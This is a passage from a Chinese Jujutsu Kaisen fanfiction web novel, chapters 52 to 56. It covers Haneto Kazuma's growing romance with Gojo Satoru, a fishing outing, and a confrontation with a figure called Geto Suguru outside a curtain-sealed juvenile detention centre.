他本人倒是没什么大碍,但一不留神就会殃及一大片无辜…… 这可比酒驾的后果危险多了。 “所以我一直都没喝过酒——嗯,也是因为一直都没喝过酒,酒量就不可能像硝子那样被锻炼出来,算是一种恶性循环啦。” 五条悟又抿一口冰凉的苹果汁,惬意呼出口气,开始玩起插在杯子边缘的小纸伞,把它打开又合上,甚至用拇指与食指捏着伞柄来回搓,让它转圈转飞快。 和羽取一真待在一起时,他总是能很放松的展现自己,不需要刻意摆出任何情绪,更不用担心做出的行为会遭来鄙夷。 比如跟苹果汁搭配的这把樱色小纸伞,就很好玩嘛。 再比如两个人来居酒屋只点无酒精饮料,看着调酒师震惊的表情也超有意思! 哪怕和黑发青年聊起自己不擅长的话题,或者只单纯说些别的感慨,也不必担心会被吐槽[这一点也不像你]、[肯定在想什么糟糕的念头]之类的。 愿意抛开任何附加在他身上的名号,只认真的、毫不动摇注视他的人,只有一个人。 纵使仅听到几句说他的坏话也难以忍受,愤怒到挥拳就把对方揍得濒死的人,也只有一个。 唔……糟糕,哪怕只是喝苹果汁,也像喝了酒那般兴奋起来了,精神变得很好,光是看眼对方就会忍不住弯起唇角,露出愉快又轻松的笑意。 “和喝酒相反,我很擅长吃甜食哦,” 或许是喝了果汁,也可能是居酒屋的灯光太朦胧,让五条悟开口的声线也变得既低又轻,每个字的尾音却又好似云朵在朝上飘,一听就知道他现在非常开心。 “不过嘛……就像没人清楚莫比乌斯环的尽头与起点在哪里,我也很难解释到底是为了补充大脑能量而经常吃甜食,所以才变成超级甜党;还是说本身属于超级甜党,才选择吃甜品来补充能量……当然,换句话来说就是怎么样解释都可以啦。” “毕竟,甜食不仅给人带来保持心情愉快的多巴胺,也会使初见面的对方感觉十分亲切无害喔,很厉害吧?” “很厉害,我以前是不太吃甜食的类型。” 五条悟在随意和羽取一真聊着天,两人都完全不在乎自己聊到了哪里,或是即将要聊什么。 而羽取一真也在专注听完五条悟的话后,认真给出回应。 “那换成我来举例说,或许现在是因为喝了甜的果汁而感到开心,”他继续说道。 “也有可能是因为和你坐在这里很开心,才想要喝甜的果汁。” “————” 在后续那漫长又短暂的时间内,五条悟都没有给出回应。 居酒屋里的人太多了,他为了尽可能少的摄入[六眼]情报、不对大脑造成太多负担,而戴着那近乎完全漆黑的墨镜,也让羽取一真看不见那双漂亮至极的苍瞳。 但此刻,好像看不见也没关系。 因为五条悟正在朝他笑着,笑声低沉,透着一点说不清道不明的暗哑——随即,羽取一真看见弯起的唇瓣开合,吐出好似醉了酒般软绵绵的、却极具诱惑力的话。 “那么,” 他听到对方这么说道,连笑意里也掺杂上几分愉快的促狭。 “你现在想尝尝苹果汁的甜味吗?” 第53章 苹果汁? 羽取一真的目光落在那杯苹果汁上。 它正被五条悟握在掌中, 压在指腹下的玻璃材质是一种波浪似的浮雕刻花,内里的液体色泽偏浅,使它在暖灯下映出粼粼的碎金浮光, 混着不停往上翻涌的细小气泡与互相轻磕的冰块, 在他眼底呈现出一种极为吸引人的冰冷与甘甜。 如果喝上一口,确实能尝到与他手中这杯葡萄汁截然不同的清爽甜味。 羽取一真将视线缓慢上挪,盯在五条悟正冲他发出低低笑声的唇瓣上,没有再移开。 或许、或许那杯苹果汁还会带上一点恰到好处的酸,让它的风味更加迷人。 但他的大脑此刻已近乎空白一片,冷静、理智、聪明, 任何能够维持思维正常运转的要素,都在此刻化作轰鸣般的擂鼓心跳。 空气中似乎传来酒的味道, 带着黏糊糊的甜蜜糖浆与咕嘟咕嘟上涌的苏打水, 让羽取一真的动作也变得磕绊。 他堪称是莽撞的半撑着身, 只为遵循自己的本能而行动。 “——?” 在这昏暗又暧昧的灯光里, 在这隐秘的角落里,那双墨镜后的漂亮苍瞳反射性地睁大, 似乎正要表达诧异——但身体却在黑发青年接触到自己前,条件反射的主动解除了那始终在自动运转的无下限术式。 温差令他手中那杯苹果汁的杯壁凝着浅薄的一层水雾,连压在上面的指腹也被侵染得冰凉。 但那指尖仅用力捏紧了玻璃杯片刻,让指甲泛出一点浅粉下的白之后——就彻底松开了。 随即, 这冰凉的指尖便落在了对方的肩背, 在纯白的衬衫上印下几个偏深的、纵容的水痕。 葡萄加苹果的味道……也很甜嘛。 五条悟想道。 心底停不下来的笑意好似被吹向晴空的无数泡泡,绚烂又轻盈, 却在阳光下泛出剔透的虹彩色泽。 嗯,这样的感觉也很好。 ………… 转天的课上,明眼人都看得出加茂老师的心情飘到不行。 “这么开心?” 在训练的间隙, 钉崎野蔷薇悄咪咪的摸到加茂老师身边,还冲他竖起小拇指摇了摇——她自从上次闯入教室,发现这两人之间再明显不过的粉红泡泡后,便热衷于打听起老师的感情进展来。 “是不是已经……嗯?” 但好奇的内容相当未成年不宜。 不过对于日本高中生来说,似乎也算正常。 至少羽取一真就光看那个手势,能立刻领悟过来她想问什么,表情顿时有点沉默。 她会不会把他们之间的关系进展……想得太快了点? 昨天晚上,他和悟可以说都是脑袋晕晕着回去的,结账时又被服务员用更那种的眼神打量了好几下,神色间既暧昧又揶揄,显然是发现他们在角落里偷偷摸摸做的小动作了。 而之后的记忆……羽取一真毫不夸张的说,一片空白。 他头一次知道,原来太激动和太高兴,都会像书里描述的喝酒断片间断性失忆,根本想不起来后面发生了什么。 再清醒过来时,已经躺在公寓的床上了,正抱着被子傻乐呵。 但这份乐颠颠的高兴应该没有反映在他的脸上,因为悟形容他当时的表情是【像被野猪高速冲刺并撞飞了十几米,不仅看起来呆呆的,还有点愣】。 羽取一真全盘接收这个形容,但觉得有一点不对——他应该不是被野猪撞飞的。 总而言之,今天过来上课时,他和悟的表情大概和平时都不太一样,才让野蔷薇都好奇凑过来询问。 “没有。” 羽取一真微微摇头,换来钉崎野蔷薇超级遗憾的一声叹息。 “这都没有?还要到什么程度才会有?” 羽取一真:“…………” 是他搞不懂女子高中生的想法吗?怎么比他还期待…… 何况,游戏也未必有开类似的功能模块,就算他和漂亮大悟真的到了那一步,对他来说也没准就相当于眼前一黑再一亮,过程便直接结束了呢。 至于好感度,羽取一真现在已经没有特意去确定数值了。 对他而言,与悟的相处已然足够真实,就算不知道如今的好感度是多少,他也在这段时间内过得非常高兴。 “在聊什么——?” 一只手臂伸过来,重重压在他的肩膀上,却又如同话语内包含的轻扬笑意那般,姿态间尽显亲近与随意。 “训练期间,可不能偷懒来打听老师的私事喔?” 五条悟笑眯眯的,同样心情超级好。 “欸——有什么关系,” 钉崎野蔷薇拉长声音,偷偷冲他们眨眼睛。 “那两个男生不是正在流臭汗嘛,我中场休息会,过来关心下老师们的情况也是可以理解的吧?” 羽取一真往操场看过去,能发现不远处的虎杖悠仁和伏黑惠在互相对打,但一招一式已经变得相当不走心了,一看就是也在偷偷竖起耳朵听这边的动静。 “既然大家都这么有空打听我和加茂老师的私事,” 五条悟竖起食指,狡黠笑道。 “正好我刚才接到了一个很适合积累经验的三级任务喔,走,现在出发——” “欸,小气——” 顿时,在场三个学生一致发出了超遗憾的声音。 羽取一真也跟着望向五条悟,看见对方用指尖勾着眼罩边缘将它拉起些许,眨着单眼冲他抛了个得意的wink。 太可爱了,可爱到羽取一真默默收回视线,假装刚才什么也没有发生。 在旁边目睹全程的钉崎野蔷薇:“…………” 这冒着粉红泡泡的、旁人完全插不进去的氛围,让站在这里的她都有点无所适从了。 哼哼,就算现在他们之间没有发生什么,估计也是迟早的事情。 ——不过,对于钉崎野蔷薇他们来说,比起打听五条悟与羽取一真之间的感情进展,盘踞在废弃工厂的数只三级咒灵却是要更好祓除些。 哪怕是刚开始练习体术的虎杖悠仁也进步飞快,凭借着他得天独厚的身体条件与战斗天赋,轻松就能祓除一只咒灵。 唯一不方便的地方就是他必须要戴着眼镜才能看见咒灵,外加需要使用蕴含咒力的咒具。 用钉崎野蔷薇的话来说,有一种大猩猩戴眼镜却耍刀的诡异斯文与野蛮暴力的混杂,简直让人寒毛倒竖。 虽然被虎杖悠仁可怜巴巴的回应[他哪里是大猩猩了啊],但伏黑惠也非常认可[大猩猩]这个形容。 连真希学姐在扳手腕上都赢不了他,没加钢筋的混泥土墙更是能一拳打穿,简直超恐怖。 在轻松搞定这个任务后,身为超级有钱人的五条悟更是大手一挥,请自家的学生去吃大餐。 哪怕是银座的豪华寿司大餐也不在话下! “不过嘛,吃完饭就自己回去哦,” 五条悟对他们笑着,抬手圈过身边羽取一真的肩膀,“晚上是休息时间,我和加茂老师要去钓鱼啦!” “怎么还在钓鱼啊,你们上次不也是去钓鱼了嘛?” 钉崎野蔷薇一口一个寿司,将腮帮塞得鼓鼓,连发音也变得含混起来,随口一问,“没钓到?” 五条悟:“…………” 羽取一真:“……咳。” 确切地说,是还差一条就能集满十条了……东京不愧是大城市,连河里的鱼都比小地方的鱼精明很多啊,甚至连光吃饵不咬钩这种操作也能轻松做到。 让悟去族地里人工繁育的钓殿,或者专门的室内钓鱼场钓鱼,他又不乐意,说这样算是走捷径破坏规则。 难得对方始终对钓鱼表现得如此兴致勃勃,羽取一真自然也愿意花时间陪他坐在荒川河边慢慢等鱼上钩,顺道一起欣赏夜间的风景,零散聊些别的话题。 五条悟在路上还顺手买了一大袋水果糖,拆了封口,放在二人之间。 “对了,两面宿傩的手指呢?” 离特级咒物封印解除、引发咒灵潮的重大事件都快过去一个月了,五条悟才姗姗想起当时伏黑惠说他将那根两面宿傩的手指给了羽取一真,目前貌似还在后者这里,没有上交高专。 “在我这,要给你吗?” 对着倒映有霓虹灯流的河面,并肩与五条悟坐在河堤边的羽取一真点头应道。 “嗯……不,先放在你那里就好。现在能够封印它的难度越来越高,也没办法再将它当作辟邪物安置出去了。” 五条悟想了想,唇角勾起笑意。 “很不可思议喔,我甚至都没发现你藏在哪里了,[六眼]连一点端倪都看不出来呢。” 他用那双没有遮挡的苍瞳,朝羽取一真眨了眨,表情十分可爱。 不过嘛,其实也不仅有这点很不可思议。 据惠说,他当时看见黑发青年在瞬间秒杀所有咒灵后,从空中掉落了无数颗漆黑晶体,敲击在地面,发出叮铛作响的密集声音。 见过羽取一真吃这种晶体的他,自然也明白这是对羽取一真很有用的东西,即使后者陷入昏迷,也想赶忙帮他全部捡起来时,却发现它们瞬间都消失了。 对羽取一真而言,仅是【玩家未拾取一段时间后,默认自动拾取进物品栏】的游戏功能,对他们来说都是很奇特的现象——甚至比术式还要奇特得多。 因此,五条悟现在发出这样的感慨也不奇怪。 羽取一真沉思片刻,觉得就算对悟实话实说也没关系,却在正要开口的时候,被眼前弹出的浮窗阻止。 【禁止对npc透露游戏相关的具体概念。】 要道出的真相也被堵在舌尖,无论怎样努力也透露不出一个字来。 反复尝试几次,羽取一真只能选择放弃,委婉又委婉的表达道。 “我有一种类似概念系的术式。” “概念系吗……就像你的[真名]那样?” 五条悟发出笑声,撑着脑袋望向河面;来回在舌尖拨动的糖果已经快要吃完了,仅剩下薄薄的一层被咬在齿间,发出了极轻微的碎裂声。 “很有趣的术式哦,那些老家伙们可被你整得很惨呢。” “我啊,还挺高兴见到这样的发展。”他开口道。 “虽然我也能做到同样的事情,但那样就会被人说是[怪物]、[自以为是]、[只为满足自己喜好的变态],根本不会得到大家的真心追随……嗯,其实现在也会被这么说就是了。” “谁敢……” 羽取一真顿时就要气不过得起身,被五条悟赶紧拉住。 “好啦好啦,自从禅院直哉按照[束缚]的要求,不得不来高专对我土下座道歉后,我相信现在再也没人敢这么对我说话啦。” 五条悟的吐字间尽是憋不住的笑意,唇角早已上扬得高高的。 漂亮大悟笑得实在太好看,羽取一真乖乖顺着他力道坐回原地。 “所以啊,如今的你,其实是在承担原本被加诸于我身上的坏名声喔。” “我不在意。”羽取一真毫不迟疑说道。 他确实不在乎,那就是一群背景板而已,怎么可能比得上悟重要? “这就是我接下来要对你说的,” 五条悟的神色认真起来。 “从你粗暴搅乱咒术界的局势开始,我们越追查下去,越发现幕后黑手的谋划太过深远,根本不是一朝一夕能调查清楚的。” “算上加茂长吉那次,你被至少算计了有三回吧?” 五条悟的声音甚至可以称得上是凝重——往前回顾整个人生,深知除自身之外的术师总会面临各种危机的他,极少会如此忧心某人的性命安全。 只有羽取一真。 “我总感觉事情不会这么简单就到此结束。在彻底捉住那人尾巴之前,你千万要当心。” “好。”羽取一真眼也不眨的答应道,“你也是。” “答应得太痛快了,总感觉不放心——” 稍微放下心的五条悟又再度用笑容来打破气氛——他伸出小拇指,还可爱地冲羽取一真摇了摇,开口的声音也好似透出糖果的甜。 “来拉钩?” “好。” 羽取一真很配合的跟他拉钩,突然听到一声水花扑通。 二人齐齐转头望去,发现是五条悟支在岸边的鱼竿不知道被哪条鱼咬了钩,正在努力挣脱时,连带着鱼竿也被飞速拽走。 “站住,我的甜品!” 这下可不能容忍到嘴边的甜品又飞了,五条悟豁然起身,动用术式去夺回属于自己的鱼竿! 他都千辛万苦的忍耐了这么久,没有潜到河里用术式捉鱼来作弊耶,现在只是找回自己被拖走的鱼竿而已! 至于鱼钩上面挂着鱼?那是属于他钓上来的附加产品! 当五条悟手拎不足十厘米的战利品,踩着河水直接上岸时,看见坐在河堤的黑发青年正朝他这边望来,穿着他买的衬衫与长裤,嘴角微微弯起,似乎露出了不甚明晰、却足以分辨出来的浅淡笑意。 好像是第一次见到…… 五条悟一时被略晃了神,似乎想要夸出点什么话,张口却说了句好似毫不相干的内容。 “那袋水果糖里,有苹果味的喔。” 第54章 在那场钓鱼的最后收尾里, 除去拂过指尖的微凉夜风,羽取一真的脑海里只剩下一个念头。 原来悟买的那袋水果糖里不仅有清甜的苹果味,还有更多、更甜的味道。 ——无论哪种, 都非常美味。 作为攒齐十条鱼的奖励, 五条悟也终于集邮成功,吃到了他朝思暮想的[神秘甜品]——羽取一真亲手做的巧克力蒙布朗。 其实,在端上这道甜品时,羽取一真是相当忐忑的。 水族箱里的十一条鱼在他身后游得优哉游哉,完全不理解羽取一真此刻的紧张心情。 “我做的没有那么甜,可能比不上川村大师的[神之甜品], ” 他对坐在餐桌边期待甜品奖励的五条悟,试图解释自己的制作思路。 “我在外层淋了纯巧克力酱, 用来中和底座蛋白霜的甜……另外, 鲜奶油里加的糖不多, 栗子泥也是用的本地栗子, 而不是最正宗的欧洲栗子……” 其实在一开始,羽取一真也是尝试做了最正宗的法式蒙布朗, 用蛋白霜、鲜奶油和糖水浸泡过的欧洲栗子,让它最后完美呈现了勃朗山峰的形状。 但他自己先尝了一口成品后,险些被甜到升天。 那时的他还以为是哪个制作环节出了问题,因此就摒弃了游戏系统的辅助, 自己偷空琢磨、反复尝试了许久, 最终改良出这款巧克力蒙布朗。 但在之前被五条悟喂了一口[神之甜品]后,羽取一真忽然发现, 好像正宗的蒙布朗,确实就该是这么甜的…… 不过大师用的应该也是本地栗子,比他用欧洲栗子的甜度要低上许多。 但如今, 巧克力蒙布朗已经端出来了,就算悟说不好吃也只能下次再努力。 就算比不过[神之甜品],也应该,大概,会比辣咖喱味蒙布朗好吃一些吧? 羽取一真不确定想着,黑瞳认真看着五条悟拿起小勺子,竖起,沿着边缘整齐切下一块,放入口中。 想到漂亮大悟努力了这么久来换[神秘甜品],不想让对方失望的羽取一真又开始有些紧张。 见到黑发青年格外忐忑的反应,本来还想装深沉逗他的五条悟没忍住破功,伸手过来使劲揉对方的脑袋。 反正心理防线早就不知道抛哪里去了,连亲近都只差最终的临门一脚——现在的他就算再怎么纵容对方,也是很合理的行为吧? 五条悟越想越没有心理负担的对羽取一真开启大力夸夸模式。 “很好吃喔,从来没有吃到过的超级美味!是自己做的?” “嗯。”羽取一真点头。 “难怪是我从来没尝过的味道,” 五条悟高高兴兴的又挖了满满一勺,啊呜一口全部塞嘴里。 “[神秘甜品]啊——真不错呢,期待完全被满足了!能做得这么好吃,你也肯定很努力的研究了吧?” 羽取一真想了想自己吃过的那些特别甜、超级甜和非常甜的蒙布朗试作,颇有点心里戚戚焉的点头。 见到他的反应,五条悟笑了两声,也给他递过去一勺。 “给——这是加茂老师的份。” 说完这句,他还朝羽取一真歪了下脑袋——纯白又柔软的发丝跟着轻轻一晃,看起来可爱极了。 羽取一真不得不承认,无论漂亮大悟做出什么样的卖萌举动,对他来说都是丘比特暴击。 就是【加茂老师】这个称呼…… 羽取一真吃掉被送到嘴边的蒙布朗,望向五条悟的黑瞳里透着明晃晃、亮晶晶的期待。 “再换个称呼好不好。” “…………” 五条悟被盯得哑然,心底再度体会到了那种熟悉的好笑又无奈的情绪。 好久没进行过这个对话都快忘记了,这小子真这么想听他喊那个【英俊的爸爸】? 话说他们都到默契地过渡到这种关系了,怎么还想着当他爸爸呢。 五条悟真的有点好奇了,问羽取一真。 “为什么希望我喊那个名字,很特别吗?” “………” 羽取一真也被问得有点不好意思——毕竟他一开始起这名字,是想要听漂亮小悟这么喊的。 现在变成了超有成年人魅力、卖萌起来更加可爱的漂亮大悟,再对他喊出这个真名,总感觉包含着有点说不清道不明的刺激感…… 他总不好直接告诉对方,他就是为了被他这么喊,才起的这个名字吧。 至少,他光是想象一下漂亮大悟带着笑意、声线低沉的喊出这个称呼……就会期待到不行。 越想越有点按捺不住心情,羽取一真看向五条悟的眼睛变得更加亮闪闪,简直要让后者忍不住端着蒙布朗、上半身后仰的程度。 “因为……很有趣。” 最后,他只能委婉的这么解释道,让五条悟满头雾水。 很有趣?什么趣? ……不会是他想的那个趣吧? 嘶……明明是他的后辈,这爱好还真是特别。 突然明悟的五条悟忍了又忍,终于没忍住捂着嘴呛咳一声,开始顾左右而言他。 “总之……我现在可不会喊喔。你还要再努力一点才行呢。” 至于怎么努力……他怎么知道啦!总之要是现在让他把这个称呼喊出口,连原本以为只是开玩笑的意思都已经完全变了味啊! 他确定此刻的自己如果是更年轻一些的时期,搞不好耳朵都已经开始泛出嫣红了。 但这句话听在羽取一真这边,则是与之前联姻失败同样,都是[好感度还不达标哦,玩家还得再刷高一点好感度才行]的婉拒台词。 也就等于……只要好感度够高,他就有机会! 羽取一真立刻庄重的点头,眼神坚定无比。 “没问题。” 咦,竟然这么好说话……五条悟有点诧异地挑了下眉毛,立刻顺势转移话题。 “我还要吃这个巧克力蒙布朗!” “好。” “然后来打游戏啦,最近出了款双人横版闯关动作游戏哦,超有趣!” “好。” “啊,再然后……” ………… 在八月的盛夏彻底来临前,浮躁烦闷的人心使咒灵数量又迎来波峰期。 除去那袋过分甜蜜的水果糖,羽取一真仍旧记得之前五条悟提过的情况,特意对他见到的每一个人强调[不准说悟的任何坏话,尤其是什么怪物、白痴、变态之类的词,谁敢说他揍谁]。 虎杖悠仁满口应下,还跟着他一起生气。 “五条老师很好啊!是谁要这么说他?” “是嫉妒、畏惧他、自以为是揣测他的人。因为,” 羽取一真回道。 “这个世界,往往并不善待天才。” 像悠仁这样本身就很善良的好孩子,羽取一真也只是和他大概提了提,知道他肯定不会这么做。 站在虎杖悠仁身边的伏黑惠和钉崎野蔷薇也跟着同意了。 至于总监部和加茂家,羽取一真在强调的同时,顺便拿禅院直哉的后果举了下例子。 中心意思很明确——说他是暴君、活阎王和恶魔之类的都无所谓,但谁要是敢说悟的不是,就等着被他揍到半死,然后土下座向对方道歉吧。 但对于他们来说,早在禅院直哉的悲惨事迹传出来,他们就已经知道,如今得罪谁也不能得罪五条悟了。 很憋屈,但他们毕竟连禅院直哉那样的实力也没有,可以说是拿羽取一真没有任何办法。 禅院直哉已经是特别一级咒术师了,比他高的只有特级咒术师——九十九由基,还在海外不肯回来;另一个乙骨忧太,是五条悟那边的人。 至于五条悟本身……就算他们真的拿羽取一真有办法,还得想想这位会不会动怒,也对着他们放一发[赫]。 那真是连总监部带他们都会一起被掀飞! 在整个高层都陷入无言绝望的晦暗氛围中,羽取一真迎来了他的第一个入夏任务。 ——支援少年院。 第55章 恐惧、怨恨、妒忌、愤怒, 普通人的一切负面情绪都会沉淀、酝酿,最终诞生出对人类有害的咒灵。 而能够祓除咒灵的咒术师是有限的,更别提其中还有强弱之分。 这就意味着, 即使羽取一真再如何尝试减轻五条悟的负担, 也仍旧存在仅有五条悟才能完成的特级任务。 最近的羽取一真可以说是和五条悟朝夕相处,感情急速升温中,一听出差下意识就想跟他一起去,但被后者拒绝了。 “别忘记你现在可是三个学生的教师喔,怎么能跟着我一起跑啦。” 五条悟穿好那件方便行动的纯黑外套,将拉链一直拉到竖起的领口。 再搭配上同样纯黑的长裤与皮鞋, 黑衣与白发的对比便被衬得极为强烈;而足有一米九的身高兼常年奔波于任务间的不断锤炼,使他的每个动作都显得劲瘦而有力, 透出一种格外利落干脆、却又温和且可靠的矛盾特质。 这是足以吸引所有人目光的魅力, 是能让羽取一真目不转睛注视着的漂亮大悟。 而五条悟同样很清楚自己对羽取一真的诱惑力。 他将竖起的领口理整齐, 又抻平衣袖, 双手插在衣兜里,转身笑眯眯问向羽取一真。 “多少分?” “葛立恒数。” 羽取一真脱口而出的这个答案, 让五条悟都不禁卡壳了下才反应过来,没忍住自喉间漏出一声笑。 他原本预想自己会得到的是“十分”、“百分”、“满分”之类的回答,没想到羽取一真开口就给出了在数学证明里能得到的有意义的最大自然数——就算穷尽整个宇宙的物质来做墨水,也无法写完它的位数。 这个答案真的很有意思, 是五条悟从来没有听过的有趣。 如果他没有自学过理科相关知识, 大概就连对方如此直白的表达心意也会听不出来吧?- 有多喜欢我?- 葛立恒数。 五条悟的舌尖抵住上颚,心想糟糕了, 他好像又怀念起那杯苹果汁汽水的味道。 就如同那晚一样,本来是打算由他来掌握主动权的,结果总是会被黑发青年反将一军啊。 但最后, 在任务的催促下,五条悟还是超级遗憾的放弃了这点。 “等我带伴手礼回来喔,” 他笑着歪了下脑袋,还是过来和羽取一真亲昵贴着,互换一个体温交融的拥抱。 “听说那里的小鸡馒头,超美味!” “好。”羽取一真点头,惯例叮嘱道。 “注意安全。” “放心放心,只过去两天而已——悠仁他们也要拜托你照看啦!” 羽取一真自然满口答应。 总监部那边不太敢插手高专的任务与教学安排,夜蛾校长取回了极大的自主权,会尽可能不分配超过学生能力上限的任务。 即使有紧急任务必须完成,也会安排能力更高的教师或者自由咒术师来帮忙看顾,只当做给学生多积攒对敌经验。 而这次,伏黑惠接到辅助监督打来的电话通知,希望他和虎杖悠仁、钉崎野蔷薇立刻前往英集少年院,祓除徘徊那里的咒灵。 “听他介绍,[窗]目前观测到了3只二级咒灵在西东京市的英集少年院操场徘徊,请求附近的咒术师前去祓除。” 而他们恰好在附近完成了另一个三级任务,是能够最快赶过去的不二人选。 “另外,电话里说如果加茂老师在我身边,希望也可以支援我们一同前往,这样能保证伤亡的最小化。” 羽取一真倒是也有手机,但只会接悟的电话,其余人一概当作骚扰电话不理。 而知晓他总会陪同三人组出任务的上层,此时也只能通过伏黑惠的传达,间接请他接下这个支援任务。 羽取一真想了想,他祓除二级咒灵属于等级压制,就算再来三只也没关系,便点头同意。 “我知道了,那就出发吧。” 少年院是针对不满十六周岁的刑事犯罪少年的教育与改造机构,选建地址需要避开市区与住宅区,基本都会定在极为偏僻的远郊,周围除去通着高压电的围栏,就是层叠的大片山岭与森林。 按照一贯的任务待遇,羽取一真他们由专车负责接送,而后直达已经驱散人群完毕、拉警戒线封锁的少年院门口。 此刻,两侧不断朝天际线绵延而去的山林显得格外寂静,天空遍布密云,似乎将要下雨。 羽取一真仰头看了眼这暗沉沉天色,忽然想起他们晾在阳台上的衣服还没有收。 嗯,速战速决吧。 虽然羽取一真至今也不懂怎么感知咒灵,但看见伏黑惠和钉崎野蔷薇瞬间严肃起来的表情,也能清楚面前这栋建筑物内的情况基本符合任务描述。 “那么,就拜托你们了。” 模样陌生的辅助监督冲他们鞠了下躬,却在羽取一真正准备跟着虎杖悠仁他们前往少年院内部时,出声喊住他。 “抱歉,加茂老师,”他说,“可以请你留一下吗?夜蛾校长还有点别的事情要和你交代。” 有什么是临到现场了才需要交代的? 羽取一真微微蹙眉,还是侧过身,示意他有什么就快点说。 前面的虎杖悠仁他们正好往前走出了一点距离,听到声音再停步回头时,却见到视野内的光线瞬间黯淡下去——有人降下了[帐]! “等等,加茂老师还没进来呢!” 虎杖悠仁立刻就想打破这道帷幕,却在手掌将要贴上的瞬间被弹开! 如果只有虎杖悠仁,还可以解释成[帐]在保护外部的普通人,禁止他们通行的话,那么伏黑惠与钉崎野蔷薇的情况同样如此,便再明显不过的揭示出一个事实。 这道不知道被谁放下的[帐],在禁止他们出去。 伏黑惠反应极快,当即比出[玉犬]的手影,放出一白一黑两只犬型式神。 “伏黑?” 面对困惑看向他的虎杖悠仁和钉崎野蔷薇,伏黑惠眉头紧锁。 “我要用更强的咒力来打破这个[帐]。” 曾经被降下[帐]、险些丧命雪崩的经历,使他格外警觉这类反常的现象。 “这是个,圈套……!” ——但是。 已经迟了。 好似心跳震动的怦然声,在三人的上空响起。 远比方才感知到的诅咒气息还要庞大、浓重,几乎要压得他们难以喘息。 宛若婴儿蜷缩在子宫里那般,一只咒胎正被胎膜似的透明外壁包裹着,构成一个极其危险的球体,悬浮在空中。 “难道是……特级的咒灵?” 他们下意识想求助加茂老师,但往身后回看时—— 那道暗色的帷幕如同一道分割线,已将黑发青年与他们,彻底隔离开来。 “我们必须抢在那个咒胎彻底孵化前,打破[帐]!” ……… “给我解开[帐]。” 与此同时,身处[帐]外的羽取一真握紧[血寄斗枪],抵在那个带他们过来的辅助监督的脑袋上。 他也遇到了和虎杖悠仁同样的情况,一靠近[帐]就会被弹开,肯定是设下了什么特殊的规则。 被枪盯在脑门上,这个辅助监督早已极度瑟瑟发抖了,表情恐惧至极,甚至在胡乱摆手。 “不是我,不是我降下的[帐]……” “跟我狡辩?”羽取一真冷冷道,“不解开就杀了你。” 此刻在现场的只有他和眼前这个辅助监督,而他又不会降[帐],且确信惠他们绝对不可能在他还没有跟上前,就放下这个专门用来隔离他们的东西。 “真的不是我……” “你威胁他也是没有用的喔?加茂先生。因为[帐]啊,确实不是他放下来的。” 陌生的声音,令羽取一真瞬间调转枪口,指向声源处。 那双盯紧山林身处的黑眸同样暗沉而凝重,连回应也变得冷厉至极,“滚出来。” 呵呵。 被[血寄斗枪]指着的方向,似乎传来了轻笑声。 紧接着,枯枝落叶被踩碎,一步一步的,细碎的声音越来越响、越来越近,自那晦暗的阴影处走出,直至来到并不算明亮的光线之下。 穿着奇怪袈裟的青年,黑色的长发和眼睛,年龄目测没有满三十岁。 羽取一真的视线只在对方额头的那道缝线上停留一秒,手指便已扣动扳机。 砰! 被压缩的血弹脱膛而出,瞬息间便已割裂二人之间的空气——它本应裹挟着无与伦比的势能,在目标身上炸开一个巨大的创口,如同微缩版本的榴丨弹。 但一切都未发生,那颗被射出的血弹好似凭空消失了,对方没有受到任何伤害,仍旧好整以暇朝羽取一真微笑着。 “别这么紧张,我只想先和你聊聊天而已。” 他将原本拢在袖袍间的手摊开,以此来示意自己身上并没有携带任何武器。 但除非是术式的特殊性要求,否则咒术师本身就不怎么需要依赖武器,这点举动根本不可能降低羽取一真的半点戒心。 并且,仗着跟他对过话的人都会出现在【社交】界面里的关系,羽取一真意念微动,当即调出浮窗。 【夏油杰(已故)(?)】 羽取一真:“…………” 已故?这人死了还能来和他聊天? 还有这第二个括号又是什么情况,特殊状态?丧尸?不死者?亡灵法师? “哎呀,你不打算说点什么吗?” 见到羽取一真毫无反应,被系统署名为[夏油杰]的袈裟青年又开口道。 “难得我会愿意出来见你一面,给点面子吧?” “………解开[帐]。” 羽取一真目光冷淡的扫一眼不远处的[帐],再转向这个陌生的家伙。 言外之意极为明确——他不相信对方降下这个[帐],只是为了自己聊天。 除非这个夏油杰给他解开,让他看到悠仁他们都平安无事。 “啊抱歉,那个可不行。” [夏油杰]苦恼般点了点自己额头,好似格外无奈的叹出口气。 “都怪你总是搅乱计划啦,我这次必须要让虎杖悠仁……吞下那根手指才行。” 第56章 手指? 这个[夏油杰]会突然提到手指, 羽取一真的下意识反应就是仍旧躺在他物品栏里的那个特级咒物——[两面宿傩的手指]。 那么这也意味着,那时候的特级咒物封印会突然解除、在医院引发咒灵潮的背后,同样是对方干的好事。 “让悠仁吞下那根手指, 对你又有什么好处?” 对方会主动提到这个话题, 羽取一真便顺势打听情报,顺便找到对方能够防御他攻击的方法。 是吞噬或者抵消类的技能吗,不太像…… 血弹射出的速度太快,仅凭肉眼观测,羽取一真根本没看清对方是如何做到的毫发无损,甚至连任何防御的举动都没有。 但换句话来说, 就算继续使用[血寄斗枪]攻击,大概率也无法造成伤害。 羽取一真将[血寄斗枪]收回物品栏, 空手与他对视。 “怎么说呢……我也不想在这里把计划解释得太清楚, 虽然知道你大概做不到, 但还是要以防万一呢。” [夏油杰]倒是给出了一副“相当抱歉”的表情——在这方面, 他甚至显得比羽取一真还要来得温和,情感丰富。 相比之下, 羽取一真的警惕心几乎已经拉满到极限,正全神贯注盯紧对方动作。 “哎呀,不过我还是很好奇。” 他听见[夏油杰]又开口说道。 “你费劲心力做出这么多事情,在半实质性的占领了总监部, 统治了加茂家, 连东京高专也落入你的手中之后——竟然只是想帮五条悟减轻负担而已?” 这个口吻,听起来有点难以置信, 还透着嘲笑的意味。 “怎么,你有意见吗。” 羽取一真终于开口,“你的目的又是什么?你跟杀害首座的那个[幕后黑手]有什么关系?” “嗯嗯, 就当我是听命于[那位]的吧。” [夏油杰]好整以暇道,“不过呢,你倒是比我预料中的要冷静一些。” “怎么了,为什么还不对我用出那个类似于领域的强制吃饭招数?” 他歪过脑袋,假模假样地思考了片刻,打出一个好似恍然大悟般的响指。 “果然,这里的环境不符合你发动它的强制前提条件吧?” 他确实用不出来,【请客】需要至少一间房,而这里是荒无人烟的远郊山林,不符合【请客】的发动条件。 但羽取一真不可能如实回答对方,而是重新提起刚才的话题。 “[幕后黑手]到底是谁?” 听到这个问题,[夏油杰]脸上的笑容更扩大了一些。 “这种事情怎么能直接告诉你呢,还是凭自己的本事来找到答案,如何?” “你可得努力一点,否则——” 